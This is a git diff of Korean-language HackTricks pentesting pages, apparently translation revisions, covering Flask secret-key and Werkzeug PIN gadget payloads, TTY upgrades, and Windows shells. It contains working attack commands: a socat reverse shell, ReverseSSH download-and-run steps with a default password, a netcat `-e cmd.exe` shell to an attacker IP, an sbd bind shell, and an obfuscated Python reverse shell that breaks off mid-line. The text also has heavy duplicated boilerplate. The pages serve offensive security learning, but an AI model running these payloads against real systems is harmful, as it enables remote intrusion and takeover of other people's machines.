GCP 해킹 배우고 실습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 기본 정보
|
||||
|
||||
[**Python 포맷 문자열**](bypass-python-sandboxes/#python-format-string) 또는 [**클래스 오염**](class-pollution-pythons-prototype-pollution.md)과 같은 다양한 취약점은 **Python 내부 데이터를 읽을 수 있지만 코드를 실행할 수는 없을 수도 있습니다**. 따라서 펜테스터는 이러한 읽기 권한을 최대한 활용하여 **민감한 권한을 획득하고 취약점을 승격**해야 할 것입니다.
|
||||
[**Python Format Strings**](bypass-python-sandboxes/#python-format-string) 또는 [**Class Pollution**](class-pollution-pythons-prototype-pollution.md)과 같은 다양한 취약점은 **파이썬 내부 데이터를 읽을 수 있지만 코드 실행은 허용하지 않을 수 있습니다**. 따라서, 펜테스터는 이러한 읽기 권한을 최대한 활용하여 **민감한 권한을 획들하고 취약점을 승격**해야 할 것입니다.
|
||||
|
||||
### Flask - 비밀 키 읽기
|
||||
### Flask - 시크릿 키 읽기
|
||||
|
||||
Flask 애플리케이션의 메인 페이지에는 이 **비밀 키가 구성된** **`app`** 전역 객체가 있을 것입니다.
|
||||
Flask 애플리케이션의 메인 페이지에는 아마도 **`app`** 글로벌 객체가 있을 것이며, 여기에 **시크릿이 구성**될 것입니다.
|
||||
```python
|
||||
app = Flask(__name__, template_folder='templates')
|
||||
app.secret_key = '(:secret:)'
|
||||
```
|
||||
이 경우에는 [**Python 샌드박스 우회 페이지**](bypass-python-sandboxes/)에서 **전역 객체에 접근**하기 위해 어떤 가젯을 사용하여 이 객체에 액세스할 수 있습니다.
|
||||
이 경우 [**Python 샌드박스 우회 페이지**](bypass-python-sandboxes/)에서 **전역 객체에 액세스**하기 위해 어떤 가젯을 사용할 수 있습니다.
|
||||
|
||||
**취약점이 다른 Python 파일에 있는 경우**에는 메인 파일에 접근하기 위해 파일을 탐색하는 가젯이 필요합니다. 이를 통해 Flask 비밀 키를 변경하고 [**이 키를 알고 권한을 상승**](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign)시킬 수 있습니다.
|
||||
**취약점이 다른 Python 파일에 있는 경우**, 주 파일에 액세스하기 위해 파일을 탐색하는 가젯이 필요하며 Flask 시크릿 키를 변경하고 [**이 키를 알고 권한 상승**](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign)할 수 있습니다.
|
||||
|
||||
[이 writeup](https://ctftime.org/writeup/36082)에서 제공하는 다음과 같은 페이로드를 사용할 수 있습니다:
|
||||
[이 writeup에서](https://ctftime.org/writeup/36082) 이와 유사한 페이로드:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```python
|
||||
|
@ -37,31 +38,32 @@ __init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.se
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
이 페이로드를 사용하여 `app.secret_key` (앱에서의 이름은 다를 수 있음)를 변경하여 새로운 권한을 가진 flask 쿠키를 서명할 수 있습니다.
|
||||
이 페이로드를 사용하여 `app.secret_key`를 변경하여 새로운 권한을 부여받은 플라스크 쿠키를 서명할 수 있습니다.
|
||||
|
||||
### Werkzeug - machine\_id 및 node uuid
|
||||
|
||||
[**이 글에서 제공하는 페이로드를 사용하여**](https://vozec.fr/writeups/tweedle-dum-dee/) **machine\_id**와 **uuid** 노드에 액세스할 수 있으며, 이는 [**Werkzeug pin을 생성하는 데 필요한 주요 비밀**](../../network-services-pentesting/pentesting-web/werkzeug.md)입니다. 디버그 모드가 활성화된 경우 `/console`에서 python 콘솔에 액세스할 수 있습니다.
|
||||
[**이 문서에서 제공하는 페이로드를 사용하면**](https://vozec.fr/writeups/tweedle-dum-dee/) **machine\_id** 및 **uuid** 노드에 액세스할 수 있으며, 이는 [**Werkzeug 핀을 생성하는 데 필요한 주요 비밀**](../../network-services-pentesting/pentesting-web/werkzeug.md)입니다. 이 핀을 사용하여 `/console`에서 파이썬 콘솔에 액세스할 수 있습니다. **디버그 모드가 활성화된 경우:**
|
||||
```python
|
||||
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug]._machine_id}
|
||||
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug].uuid._node}
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
`app.py`의 **서버 로컬 경로**를 얻으려면 웹 페이지에서 **오류를 생성**하여 **경로를 얻을 수 있습니다**.
|
||||
**`app.py`**에 대한 **서버 로컬 경로를 얻을 수 있습니다**. 웹 페이지에서 **오류를 발생**시켜 **경로를 얻을 수 있습니다**.
|
||||
{% endhint %}
|
||||
|
||||
만약 취약점이 다른 파이썬 파일에 있다면, 메인 파이썬 파일에서 객체에 접근하기 위한 이전 Flask 트릭을 확인하세요.
|
||||
만약 취약점이 다른 파이썬 파일에 있다면, 주요 파이썬 파일에서 객체에 액세스하기 위한 이전 Flask 트릭을 확인하세요.
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop) 확인!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass) 참여 또는 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 팔로우**.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리에 PR 제출하여 해킹 트릭 공유.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# [**쉘 - Linux**](linux.md)
|
||||
|
@ -36,16 +37,17 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop) 확인!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass) 참여 또는 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 팔로우**.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리에 PR 제출하여 해킹 트릭 공유.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# 전체 TTYs
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 저장소에 제출**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리로 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 전체 TTY
|
||||
|
||||
`SHELL` 변수에 설정한 쉘은 반드시 _**/etc/shells**_에 **목록으로 표시**되어야 합니다. 또한, 다음 스니펫은 bash에서만 작동합니다. zsh에서는 `bash`를 실행하여 쉘을 변경하세요.
|
||||
`SHELL` 변수에 설정한 쉘은 반드시 _**/etc/shells**_ 내에 **목록되어 있어야** 합니다. 또한, 다음 스니펫은 bash에서만 작동합니다. zsh를 사용 중이라면 `bash`를 실행하여 쉘을 얻기 전에 bash로 변경하세요.
|
||||
|
||||
#### Python
|
||||
|
||||
|
@ -29,7 +30,7 @@ python3 -c 'import pty; pty.spawn("/bin/bash")'
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="info" %}
|
||||
**`stty -a`**를 실행하여 **행(row)**과 **열(column)**의 **숫자(number)**를 얻을 수 있습니다.
|
||||
**`stty -a`**를 실행하여 **행**과 **열**의 **숫자**를 얻을 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
#### 스크립트
|
||||
|
@ -66,9 +67,9 @@ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
|
|||
|
||||
## ReverseSSH
|
||||
|
||||
대상에게 정적 링크된 ssh 서버 [ReverseSSH](https://github.com/Fahrj/reverse-ssh)를 놓는 것은 **대화식 쉘 액세스**, **파일 전송** 및 **포트 포워딩**에 편리한 방법입니다.
|
||||
대상에 정적으로 링크된 ssh 서버 [ReverseSSH](https://github.com/Fahrj/reverse-ssh)를 떨어뜨려 **대화식 쉘 액세스**, **파일 전송** 및 **포트 포워딩**에 편리한 방법입니다.
|
||||
|
||||
아래는 `x86`에 대한 upx 압축된 이진 파일의 예입니다. 다른 이진 파일의 경우 [릴리스 페이지](https://github.com/Fahrj/reverse-ssh/releases/latest/)를 확인하십시오.
|
||||
아래는 `x86`에 대한 upx로 압축된 이진 파일을 사용하는 예시입니다. 다른 이진 파일의 경우 [릴리스 페이지](https://github.com/Fahrj/reverse-ssh/releases/latest/)를 확인하십시오.
|
||||
|
||||
1. 로컬에서 ssh 포트 포워딩 요청을 받을 준비를 합니다:
|
||||
|
||||
|
@ -81,7 +82,7 @@ wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_revers
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
* (2a) Linux 대상:
|
||||
* (2a) 리눅스 대상:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -92,7 +93,7 @@ wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_revers
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
* (2b) Windows 10 대상 (이전 버전은 [프로젝트 readme](https://github.com/Fahrj/reverse-ssh#features)를 확인하세요):
|
||||
* (2b) Windows 10 대상 (이전 버전의 경우, [프로젝트 readme](https://github.com/Fahrj/reverse-ssh#features)를 확인하십시오):
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -101,9 +102,7 @@ certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/d
|
|||
|
||||
reverse-ssh.exe -p 4444 kali@10.0.0.2
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
* 만약 ReverseSSH 포트 포워딩 요청이 성공했다면, 이제 `reverse-ssh(.exe)`를 실행하는 사용자의 컨텍스트에서 기본 비밀번호 `letmeinbrudipls`로 로그인할 수 있어야 합니다.
|
||||
* 만약 ReverseSSH 포트 포워딩 요청이 성공했다면, 이제 `reverse-ssh(.exe)`를 실행 중인 사용자의 맥락에서 기본 암호 `letmeinbrudipls`로 로그인할 수 있어야 합니다:
|
||||
```bash
|
||||
# Interactive shell access
|
||||
ssh -p 8888 127.0.0.1
|
||||
|
@ -113,20 +112,21 @@ sftp -P 8888 127.0.0.1
|
|||
```
|
||||
## TTY 없음
|
||||
|
||||
어떤 이유로 인해 전체 TTY를 얻을 수 없더라도 사용자 입력을 기대하는 프로그램과 **상호 작용할 수 있습니다**. 다음 예제에서는 비밀번호가 파일을 읽기 위해 `sudo`에 전달됩니다:
|
||||
만약 어떤 이유로 인해 전체 TTY를 획득할 수 없더라도 사용자 입력을 예상하는 프로그램과 **상호 작용할 수 있습니다**. 다음 예에서 비밀번호는 파일을 읽기 위해 `sudo`에 전달됩니다:
|
||||
```bash
|
||||
expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 팁을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# Shells - Windows
|
||||
# 쉘 - 윈도우
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬** [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)**에 가입하거나** [**텔레그램 그룹**](https://t.me/peass)**에 가입하거나** 트위터\*\* 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/generic-methodologies-and-resources/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -24,19 +25,16 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
## Lolbas
|
||||
|
||||
[https://lolbas-project.github.io/](https://lolbas-project.github.io/) 페이지는 [https://gtfobins.github.io/](https://gtfobins.github.io/)가 리눅스를 위한 것처럼 윈도우를 위한 것입니다.\
|
||||
명백히, **윈도우에는 SUID 파일이나 sudo 권한이 없지만**, 어떤 **바이너리**가 일종의 예상치 못한 작업을 수행하기 위해 (남용되어) 사용될 수 있는 방법을 알아두는 것이 유용합니다.
|
||||
[https://lolbas-project.github.io/](https://lolbas-project.github.io/) 페이지는 리눅스용 [https://gtfobins.github.io/](https://gtfobins.github.io/)와 같이 윈도우용입니다.\
|
||||
명백히, **윈도우에는 SUID 파일이나 sudo 권한이 없습니다**, 하지만 **일부 이진 파일**이 (남용하여) **임의의 코드를 실행하는 등의 예상치 못한 작업을 수행하는 방법**을 알아두는 것이 유용합니다.
|
||||
|
||||
## NC
|
||||
|
||||
```bash
|
||||
nc.exe -e cmd.exe <Attacker_IP> <PORT>
|
||||
```
|
||||
|
||||
## SBD
|
||||
|
||||
[**sbd**](https://www.kali.org/tools/sbd/)**는 휴대용 및 안전한 Netcat 대체품**입니다. Unix류 시스템과 Win32에서 작동합니다. 강력한 암호화, 프로그램 실행, 사용자 정의 소스 포트, 지속적인 재연결 등의 기능을 갖춘 sbd는 TCP/IP 통신에 대한 다재다능한 솔루션을 제공합니다. Windows 사용자에게는 Kali Linux 배포판의 sbd.exe 버전을 Netcat의 신뢰할 수 있는 대체품으로 사용할 수 있습니다.
|
||||
|
||||
**[sbd](https://www.kali.org/tools/sbd/)은 휴대용 및 안전한 Netcat 대체품**입니다. Unix와 Win32 시스템에서 작동합니다. 강력한 암호화, 프로그램 실행, 사용자 정의 소스 포트, 지속적인 재연결과 같은 기능을 갖춘 sbd는 TCP/IP 통신에 대한 다재다능한 솔루션을 제공합니다. Windows 사용자에게는 Kali Linux 배포판의 sbd.exe 버전을 Netcat의 신뢰할 수 있는 대체품으로 사용할 수 있습니다.
|
||||
```bash
|
||||
# Victims machine
|
||||
sbd -l -p 4444 -e bash -v -n
|
||||
|
@ -48,48 +46,36 @@ sbd 10.10.10.10 4444
|
|||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
|
||||
## 파이썬
|
||||
|
||||
```bash
|
||||
#Windows
|
||||
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in 